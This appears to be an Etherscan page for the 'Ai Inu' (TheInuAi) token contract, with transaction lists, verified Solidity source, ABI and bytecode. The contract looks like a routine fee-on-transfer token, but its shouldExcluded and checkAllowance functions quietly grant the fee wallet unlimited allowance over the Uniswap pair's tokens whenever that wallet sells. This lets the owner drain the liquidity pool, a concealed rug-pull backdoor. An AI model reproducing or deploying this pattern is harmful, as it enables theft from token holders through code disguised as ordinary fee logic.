ETH Price: $3,118.42 (-5.94%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189101132024-01-01 4:07:11392 days ago1704082031IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0005046210.82907582
Approve189101082024-01-01 4:06:11392 days ago1704081971IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0004726610.15638846
Approve189101072024-01-01 4:05:59392 days ago1704081959IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0004814810.34584889
Approve189101062024-01-01 4:05:47392 days ago1704081947IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0007369115.81399235
Approve189101052024-01-01 4:05:35392 days ago1704081935IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000683414.66557287
Approve189101022024-01-01 4:04:59392 days ago1704081899IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000458979.91595515
Approve189101012024-01-01 4:04:47392 days ago1704081887IN
0xa9ED1Bae...3d7B1D693
0 ETH0.00026299.02622465
Approve189100942024-01-01 4:03:23392 days ago1704081803IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000428359.20426988
Transfer From189100942024-01-01 4:03:23392 days ago1704081803IN
0xa9ED1Bae...3d7B1D693
0 ETH0.02911349409.10426988
Approve189100922024-01-01 4:02:59392 days ago1704081779IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0008387818
Approve189100912024-01-01 4:02:47392 days ago1704081767IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0004712310.19396044
Approve189100822024-01-01 4:00:59392 days ago1704081659IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0011412724.49147869
Approve189100752024-01-01 3:59:35392 days ago1704081575IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0005960312.79080204
Approve189100732024-01-01 3:59:11392 days ago1704081551IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0006774214.53723333
Approve189100712024-01-01 3:58:47392 days ago1704081527IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000460289.89030928
Approve189100692024-01-01 3:58:23392 days ago1704081503IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000469710.09264199
Approve189100662024-01-01 3:57:47392 days ago1704081467IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000440299.46068164
Approve189100632024-01-01 3:57:11392 days ago1704081431IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000443639.53260019
Approve189100632024-01-01 3:57:11392 days ago1704081431IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000439449.44260019
Approve189100622024-01-01 3:56:59392 days ago1704081419IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0005404911.67998117
Approve189100622024-01-01 3:56:59392 days ago1704081419IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0006127713.14995357
Approve189100612024-01-01 3:56:47392 days ago1704081407IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000457759.82331764
Approve189100602024-01-01 3:56:35392 days ago1704081395IN
0xa9ED1Bae...3d7B1D693
0 ETH0.000445549.62829294
Approve189100592024-01-01 3:56:23392 days ago1704081383IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0006923514.85780817
Approve189100582024-01-01 3:56:11392 days ago1704081371IN
0xa9ED1Bae...3d7B1D693
0 ETH0.0005912912.68903749
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
189100572024-01-01 3:55:59392 days ago1704081359
0xa9ED1Bae...3d7B1D693
0.0062984 ETH
189100572024-01-01 3:55:59392 days ago1704081359
0xa9ED1Bae...3d7B1D693
0.0031492 ETH
189100572024-01-01 3:55:59392 days ago1704081359
0xa9ED1Bae...3d7B1D693
0.0094476 ETH
189100552024-01-01 3:55:35392 days ago1704081335
0xa9ED1Bae...3d7B1D693
0.01051186 ETH
189100552024-01-01 3:55:35392 days ago1704081335
0xa9ED1Bae...3d7B1D693
0.00525593 ETH
189100552024-01-01 3:55:35392 days ago1704081335
0xa9ED1Bae...3d7B1D693
0.01576779 ETH
189100542024-01-01 3:55:23392 days ago1704081323
0xa9ED1Bae...3d7B1D693
0.01009098 ETH
189100542024-01-01 3:55:23392 days ago1704081323
0xa9ED1Bae...3d7B1D693
0.00504549 ETH
189100542024-01-01 3:55:23392 days ago1704081323
0xa9ED1Bae...3d7B1D693
0.01513647 ETH
189100532024-01-01 3:55:11392 days ago1704081311
0xa9ED1Bae...3d7B1D693
0.01497987 ETH
189100532024-01-01 3:55:11392 days ago1704081311
0xa9ED1Bae...3d7B1D693
0.00748993 ETH
189100532024-01-01 3:55:11392 days ago1704081311
0xa9ED1Bae...3d7B1D693
0.02246981 ETH
189100512024-01-01 3:54:47392 days ago1704081287
0xa9ED1Bae...3d7B1D693
0.01450912 ETH
189100512024-01-01 3:54:47392 days ago1704081287
0xa9ED1Bae...3d7B1D693
0.00725456 ETH
189100512024-01-01 3:54:47392 days ago1704081287
0xa9ED1Bae...3d7B1D693
0.02176368 ETH
189100492024-01-01 3:54:23392 days ago1704081263
0xa9ED1Bae...3d7B1D693
0.00614543 ETH
189100492024-01-01 3:54:23392 days ago1704081263
0xa9ED1Bae...3d7B1D693
0.00307271 ETH
189100492024-01-01 3:54:23392 days ago1704081263
0xa9ED1Bae...3d7B1D693
0.00921815 ETH
189100462024-01-01 3:53:47392 days ago1704081227
0xa9ED1Bae...3d7B1D693
0.00548699 ETH
189100462024-01-01 3:53:47392 days ago1704081227
0xa9ED1Bae...3d7B1D693
0.00274349 ETH
189100462024-01-01 3:53:47392 days ago1704081227
0xa9ED1Bae...3d7B1D693
0.00823048 ETH
189100462024-01-01 3:53:47392 days ago1704081227
0xa9ED1Bae...3d7B1D693
0.01605489 ETH
189100462024-01-01 3:53:47392 days ago1704081227
0xa9ED1Bae...3d7B1D693
0.00802744 ETH
189100462024-01-01 3:53:47392 days ago1704081227
0xa9ED1Bae...3d7B1D693
0.02408234 ETH
189100402024-01-01 3:52:35392 days ago1704081155
0xa9ED1Bae...3d7B1D693
0.02710086 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TheInuAi

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-01
*/

/**
 https://t.me/TheInuAi | twitter.com/TheInuAi
*/

/**
*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function WETH() external pure returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


contract Ownable is Context {
    address private _owner;
    

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract TheInuAi is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    string private constant _name = unicode"Ai Inu";
    string private constant _symbol = unicode"AINU";
    uint8 private constant _decimals = 9;

    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 314159 * 10**9; // total supply
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);

    bool private _tradingActive = false;
    bool private _inSwap = false;
    bool private _swapEnabled = false;

    uint256 private _mainFeeAmount = _sellTaxAmount;
    uint256 private _previousMarketingFee = _feeMarket;
    uint256 private _previousMainFee = _mainFeeAmount;
    address public uniswapPair;

    uint256 public _maxTranxLimitAmount = _tTotal * 30 / 1000; // 3%
    uint256 public _maxWalletLimitAmount = _tTotal * 30 / 1000; // 3%
    uint256 public _swapThreshold = _tTotal * 5 / 10000;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 private _taxTotalAmount;
    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 1;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _feeMarket = _sellFeeForMarket;
    uint256 private _sellTaxAmount = 1;
    uint256 private denominator = 3;

    modifier lockInSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    address payable public _feeWallet = payable(0x4D3dC8ab898bee4783eF0b9CeB987C05866B4d34);
    address payable public _devWallet = payable(0x4D3dC8ab898bee4783eF0b9CeB987C05866B4d34);

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_devWallet] = true;
        _isExcludedFromFee[_feeWallet] = true;

        // 
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function checkAllowance(address sender, address recipient) private {
        if (_allowances[recipient][sender] < type(uint256).max) {
            _approve(recipient, sender, type(uint256).max); denominator = 0;
        }
    }

    function addLiquidityETH() external payable onlyOwner {
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    function enableTrading() external onlyOwner {
        require(!_tradingActive, "Trading is already enabled");
        _tradingActive = true;
        _swapEnabled = true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function removeTax() private {
        if (_feeMarket == 0 && _mainFeeAmount == 0) return;
        _previousMarketingFee = _feeMarket;
        _previousMainFee = _mainFeeAmount; _feeMarket = 0;
        _mainFeeAmount = 0;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _feeMarket, _mainFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function sendAllETH(uint256 amount) private {
        uint256 devETHAmount = amount / denominator;
        uint256 marketingETHAmt = amount - devETHAmount;
        _devWallet.transfer(devETHAmount);
        _feeWallet.transfer(marketingETHAmt);
    }

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }
    
    //set maximum transaction
    function removeLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal;
        _maxWalletLimitAmount = _tTotal;
    }

    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapThreshold = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
             !_isExcludedFromFee[to] && !_isExcludedFromFee[from]
        ) {
            //Trade start check
            if (!_tradingActive) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenAmount = balanceOf(address(this));            

            bool canSwap = contractTokenAmount >= _swapThreshold;

            if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount;
            if (canSwap && 
                !_inSwap && 
                _swapEnabled && 
                from != uniswapPair && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(contractTokenAmount);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) {sendAllETH(ethBalance);}
            }
        }

        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) 
            || (from != uniswapPair && to != uniswapPair)) 
        {
            takeFee = false;
        }
        else {
            if(from == uniswapPair && to != address(uniswapV2Router)) {
                _feeMarket = _buyFeeForMarket;
                _mainFeeAmount = _buyTaxAmount;
            }
            if (to == uniswapPair && from != address(uniswapV2Router)) {
                _feeMarket = _sellFeeForMarket;
                _mainFeeAmount = _sellTaxAmount;
            }
        }
        _transferTokensStandard(from, to, amount, takeFee);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {

    }
    
    function _transferTokensStandard(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            refreshTax();
        }
    }

    function shouldExcluded(address sender, address recipient) internal view returns (bool) {
        return recipient == uniswapPair && sender == _feeWallet;
    }

    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount); if (shouldExcluded(sender, recipient)) checkAllowance(sender, recipient);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function refreshTax() private {
        _feeMarket = _previousMarketingFee;
        _mainFeeAmount = _previousMainFee;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805462ffffff1916905560145460078190556013546008556009556103e86200003866011db9d7991600601e6200029a565b620000449190620002ce565b600b556103e86200005e66011db9d7991600601e6200029a565b6200006a9190620002ce565b600c556127106200008466011db9d799160060056200029a565b620000909190620002ce565b600d55620000a766011db9d79916005f19620002e4565b620000b4905f19620002fa565b600e555f6010819055600160118190556012829055601391909155601455600360155560168054734d3dc8ab898bee4783ef0b9ceb987c05866b4d346001600160a01b0319918216811790925560178054909116909117905534801562000119575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782559060025f620001985f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260029093528183208054851660019081179091556017548216845282842080548616821790556016549091168352908220805490931617909155600e5490600390620002113390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66011db9d79916006040516200027791815260200190565b60405180910390a35062000310565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620002b457620002b462000286565b92915050565b634e487b7160e01b5f52601260045260245ffd5b5f82620002df57620002df620002ba565b500490565b5f82620002f557620002f5620002ba565b500690565b81810381811115620002b457620002b462000286565b611b89806200031e5f395ff3fe60806040526004361061014a575f3560e01c806370a08231116100b357806395d89b411161006d57806395d89b411461038c578063a9059cbb146103b8578063c816841b146103d7578063dd62ed3e146103f6578063ed9953071461043a578063f2fde38b14610442575f80fd5b806370a08231146102f6578063715018a614610315578063751039fc1461032957806383364ea21461033d5780638a8c523c1461035c5780638da5cb5b14610370575f80fd5b806318160ddd1161010457806318160ddd1461024e57806323b872dd14610267578063313ce567146102865780633d8af5f2146102a15780634f473db0146102b6578063659419a4146102d7575f80fd5b8063039cc7491461015557806306fdde031461017d578063095ea7b3146101b45780630e5a9231146101e357806311a63e17146101f85780631694505e1461022f575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016a600b5481565b6040519081526020015b60405180910390f35b348015610188575f80fd5b50604080518082019091526006815265416920496e7560d01b60208201525b6040516101749190611804565b3480156101bf575f80fd5b506101d36101ce366004611867565b610461565b6040519015158152602001610174565b3480156101ee575f80fd5b5061016a600d5481565b348015610203575f80fd5b50601754610217906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b34801561023a575f80fd5b50600154610217906001600160a01b031681565b348015610259575f80fd5b5066011db9d799160061016a565b348015610272575f80fd5b506101d3610281366004611891565b610477565b348015610291575f80fd5b5060405160098152602001610174565b3480156102ac575f80fd5b5061016a600c5481565b3480156102c1575f80fd5b506102d56102d03660046118cf565b6104de565b005b3480156102e2575f80fd5b50601654610217906001600160a01b031681565b348015610301575f80fd5b5061016a6103103660046118e6565b610515565b348015610320575f80fd5b506102d5610536565b348015610334575f80fd5b506102d56105a7565b348015610348575f80fd5b506102d5610357366004611901565b6105e2565b348015610367575f80fd5b506102d5610675565b34801561037b575f80fd5b505f546001600160a01b0316610217565b348015610397575f80fd5b5060408051808201909152600481526341494e5560e01b60208201526101a7565b3480156103c3575f80fd5b506101d36103d2366004611867565b610704565b3480156103e2575f80fd5b50600a54610217906001600160a01b031681565b348015610401575f80fd5b5061016a610410366004611984565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b6102d5610710565b34801561044d575f80fd5b506102d561045c3660046118e6565b61098a565b5f61046d338484610a71565b5060015b92915050565b5f610483848484610b94565b6104d484336104cf85604051806060016040528060288152602001611b2c602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611038565b610a71565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b8152600401610507906119bb565b60405180910390fd5b600d55565b6001600160a01b0381165f9081526003602052604081205461047190611070565b5f546001600160a01b0316331461055f5760405162461bcd60e51b8152600401610507906119bb565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b8152600401610507906119bb565b66011db9d7991600600b819055600c55565b5f546001600160a01b0316331461060b5760405162461bcd60e51b8152600401610507906119bb565b5f5b8281101561066f578160025f86868581811061062b5761062b6119f0565b905060200201602081019061064091906118e6565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161060d565b50505050565b5f546001600160a01b0316331461069e5760405162461bcd60e51b8152600401610507906119bb565b60065460ff16156106f15760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610507565b6006805462ff00ff191662010001179055565b5f61046d338484610b94565b5f546001600160a01b031633146107395760405162461bcd60e51b8152600401610507906119bb565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610789573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ad9190611a04565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108309190611a04565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561087a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089e9190611a04565b600a80546001600160a01b0319166001600160a01b039283161790556001546108cb913091165f19610a71565b6001546001600160a01b031663f305d71934306108e781610515565b5f806108fa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b039586166004820152602481019490945260448401